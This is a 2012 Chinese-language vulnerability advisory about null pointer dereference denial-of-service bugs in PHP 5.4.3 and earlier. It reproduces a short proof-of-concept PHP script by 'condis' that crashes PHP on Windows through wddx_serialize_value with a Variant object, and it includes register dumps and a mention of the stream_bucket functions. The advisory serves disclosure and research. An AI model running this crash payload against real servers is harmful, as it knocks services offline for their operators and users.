PHP 5.4.3 多个空指针引用拒绝服务漏洞


发布时间: 2012-05-11

漏洞版本:

PHP 5.4.3

漏洞描述:

BUGTRAQ  ID: 53643

PHP是一种HTML内嵌式的语言，PHP与微软的ASP颇有几分相似，都是一种在服务器端执行的嵌入HTML文档的脚本语言，语言的风格有类似于C语言，现在被很多的网站编程人员广泛的运用。

PHP 5.4.3之前版本在实现时存在空指针引用导致的多个拒绝服务漏洞，攻击者可利用这些漏洞造成应用崩溃。
<* 参考
condis
*>

测试方法:

@Sebug.net   dis
本站提供程序(方法)可能带有攻击性,仅供安全研究与教学之用,风险自负!
  1. <?php
  2.  
  3. /*
  4.  
  5. PHP <= 5.4.3 wddx_serialize_* / stream_bucket_* Variant Object Null Ptr Derefernce
  6. Author : condis
  7. Date : 10.04.2012 AD
  8. Website : http://cond.psychodela.pl
  9.  
  10. ----
  11.  
  12. Download : http://php.net/downloads.php
  13.  
  14. Tested on:
  15.     
  16.     PHP 5.3.8  + Windows XP SP3 Professional PL
  17.     PHP 5.3.10 + Windows XP SP3 Professional PL
  18.     PHP 5.4.0  + Windows XP SP3 Professional PL
  19.     PHP 5.4.3  + Windows XP SP3 Professional PL
  20.     
  21. Description:
  22.  
  23. wddx_serialize_value and wddx_serialize_vars functions fails to handle Variant
  24. object when it is given as a first argument.
  25.  
  26. Registers:
  27.  
  28.     EAX 00000000
  29.     ECX 1056AAE8 php5ts.1056AAE8
  30.     EDX 100EFCE0 php5ts.100EFCE0
  31.     EBX 01032AB0
  32.     ESP 00C0FAE0
  33.     EBP 00000000
  34.     ESI 0121E478
  35.     EDI 0121CB50
  36.     EIP 1028F22E php5ts.1028F22E
  37.  
  38. Crash:
  39.  
  40.     1028F22E   8A45 25          MOV AL,BYTE PTR SS:[EBP+25]
  41.  
  42. Situation looks pretty much the same for both wddx_serialize_vars and
  43. wddx_serialize_value. Also functions stream_bucket_prepend and stream_bucket_append
  44. have some problems with handling Variant object when given as a second argument:
  45.  
  46. stream_bucket_append(1, new Variant(1));
  47. stream_bucket_prepend(1, new Variant(1));
  48.  
  49. PS : Variant object is only available in PHP for Windows OS and it was implemented
  50. in PHP > 4.1.0 and PHP 5.
  51.  
  52. For more details check : http://php.net/manual/en/class.variant.php
  53.  
  54. PS2: After running this via webserver my Apache wasn't able to handle requests
  55. anymore and I had to restart him :)
  56.  
  57. kthxbye
  58.  
  59. */
  60.  
  61. wddx_serialize_value(new Variant(666));
  62.  
  63. ?>

安全建议:

厂商补丁：

PHP
---
目前厂商还没有提供补丁或者升级程序，我们建议使用此软件的用户随时关注厂商的主页以获取最新版本：

http://www.php.net

相关内容